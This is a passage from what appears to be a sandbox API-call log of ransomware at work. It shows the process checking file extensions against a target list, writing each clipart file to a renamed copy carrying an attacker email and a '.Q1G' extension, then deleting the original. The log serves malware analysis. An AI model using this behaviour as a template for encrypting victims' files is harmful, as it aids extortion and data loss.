returned 5 [0265.054] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.054] lstrlenW (lpString=".ppt") returned 4 [0265.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.054] lstrlenW (lpString=".zip") returned 4 [0265.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.054] lstrlenW (lpString=".rar") returned 4 [0265.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.054] lstrlenW (lpString=".bz2") returned 4 [0265.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.054] lstrlenW (lpString=".7z") returned 3 [0265.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.054] lstrlenW (lpString=".dbf") returned 4 [0265.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.054] lstrlenW (lpString=".1cd") returned 4 [0265.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF") returned 63 [0265.054] lstrlenW (lpString=".jpg") returned 4 [0265.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.054] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.054] lstrlenW (lpString="J0187825.WMF") returned 12 [0265.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.055] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7500) returned 1 [0265.055] CloseHandle (hObject=0x37c) returned 1 [0265.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 0x20 [0265.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.055] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.055] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.056] GetLastError () returned 0x0 [0265.056] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1d4c, lpOverlapped=0x0) returned 1 [0265.057] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1d50, lpOverlapped=0x0) returned 1 [0265.058] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.058] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.058] SetEndOfFile (hFile=0x1bc) returned 1 [0265.058] CloseHandle (hObject=0x1bc) returned 1 [0265.059] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.059] SetEndOfFile (hFile=0x37c) returned 1 [0265.060] CloseHandle (hObject=0x37c) returned 1 [0265.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0265.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".doc") returned 4 [0265.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString=".docx") returned 5 [0265.062] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.062] lstrlenW (lpString=".pdf") returned 4 [0265.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString=".xls") returned 4 [0265.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.062] lstrlenW (lpString=".xlsx") returned 5 [0265.062] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.062] lstrlenW (lpString=".ppt") returned 4 [0265.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".zip") returned 4 [0265.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.062] lstrlenW (lpString=".rar") returned 4 [0265.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString=".bz2") returned 4 [0265.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString=".7z") returned 3 [0265.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".dbf") returned 4 [0265.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".1cd") returned 4 [0265.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".jpg") returned 4 [0265.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.062] lstrlenW (lpString=".doc") returned 4 [0265.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.062] lstrlenW (lpString=".docx") returned 5 [0265.062] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.062] lstrlenW (lpString=".pdf") returned 4 [0265.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString=".xls") returned 4 [0265.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.063] lstrlenW (lpString=".xlsx") returned 5 [0265.063] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.063] lstrlenW (lpString=".ppt") returned 4 [0265.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.063] lstrlenW (lpString=".zip") returned 4 [0265.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.063] lstrlenW (lpString=".rar") returned 4 [0265.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString=".bz2") returned 4 [0265.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString=".7z") returned 3 [0265.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.063] lstrlenW (lpString=".dbf") returned 4 [0265.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.063] lstrlenW (lpString=".1cd") returned 4 [0265.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0265.063] lstrlenW (lpString=".jpg") returned 4 [0265.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.063] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.063] lstrlenW (lpString="J0187829.WMF") returned 12 [0265.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.064] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=12352) returned 1 [0265.064] CloseHandle (hObject=0x37c) returned 1 [0265.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 0x20 [0265.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.064] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.064] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.065] GetLastError () returned 0x0 [0265.065] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3040, lpOverlapped=0x0) returned 1 [0265.067] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0265.068] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.068] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.068] SetEndOfFile (hFile=0x1bc) returned 1 [0265.068] CloseHandle (hObject=0x1bc) returned 1 [0265.068] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.068] SetEndOfFile (hFile=0x37c) returned 1 [0265.070] CloseHandle (hObject=0x37c) returned 1 [0265.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0265.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.071] lstrlenW (lpString=".doc") returned 4 [0265.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.071] lstrlenW (lpString=".docx") returned 5 [0265.071] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.071] lstrlenW (lpString=".pdf") returned 4 [0265.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.071] lstrlenW (lpString=".xls") returned 4 [0265.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.071] lstrlenW (lpString=".xlsx") returned 5 [0265.071] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.071] lstrlenW (lpString=".ppt") returned 4 [0265.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.071] lstrlenW (lpString=".zip") returned 4 [0265.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.071] lstrlenW (lpString=".rar") returned 4 [0265.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.071] lstrlenW (lpString=".bz2") returned 4 [0265.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.071] lstrlenW (lpString=".7z") returned 3 [0265.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".dbf") returned 4 [0265.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".1cd") returned 4 [0265.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".jpg") returned 4 [0265.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".doc") returned 4 [0265.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString=".docx") returned 5 [0265.072] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.072] lstrlenW (lpString=".pdf") returned 4 [0265.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString=".xls") returned 4 [0265.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.072] lstrlenW (lpString=".xlsx") returned 5 [0265.072] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.072] lstrlenW (lpString=".ppt") returned 4 [0265.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".zip") returned 4 [0265.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.072] lstrlenW (lpString=".rar") returned 4 [0265.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString=".bz2") returned 4 [0265.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString=".7z") returned 3 [0265.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".dbf") returned 4 [0265.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.072] lstrlenW (lpString=".1cd") returned 4 [0265.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0265.073] lstrlenW (lpString=".jpg") returned 4 [0265.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.073] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.073] lstrlenW (lpString="J0187835.WMF") returned 12 [0265.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.073] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9344) returned 1 [0265.073] CloseHandle (hObject=0x37c) returned 1 [0265.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 0x20 [0265.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.074] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.074] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.075] GetLastError () returned 0x0 [0265.075] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2480, lpOverlapped=0x0) returned 1 [0265.176] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0265.177] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.177] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.178] SetEndOfFile (hFile=0x1bc) returned 1 [0265.179] CloseHandle (hObject=0x1bc) returned 1 [0265.179] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.179] SetEndOfFile (hFile=0x37c) returned 1 [0265.181] CloseHandle (hObject=0x37c) returned 1 [0265.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0265.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.183] lstrlenW (lpString=".doc") returned 4 [0265.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString=".docx") returned 5 [0265.184] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.184] lstrlenW (lpString=".pdf") returned 4 [0265.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString=".xls") returned 4 [0265.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.184] lstrlenW (lpString=".xlsx") returned 5 [0265.184] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.184] lstrlenW (lpString=".ppt") returned 4 [0265.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString=".zip") returned 4 [0265.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.184] lstrlenW (lpString=".rar") returned 4 [0265.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString=".bz2") returned 4 [0265.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString=".7z") returned 3 [0265.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString=".dbf") returned 4 [0265.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString=".1cd") returned 4 [0265.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString=".jpg") returned 4 [0265.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.184] lstrlenW (lpString=".doc") returned 4 [0265.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.184] lstrlenW (lpString=".docx") returned 5 [0265.184] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.184] lstrlenW (lpString=".pdf") returned 4 [0265.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString=".xls") returned 4 [0265.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.185] lstrlenW (lpString=".xlsx") returned 5 [0265.185] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.185] lstrlenW (lpString=".ppt") returned 4 [0265.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.185] lstrlenW (lpString=".zip") returned 4 [0265.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.185] lstrlenW (lpString=".rar") returned 4 [0265.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString=".bz2") returned 4 [0265.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString=".7z") returned 3 [0265.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.185] 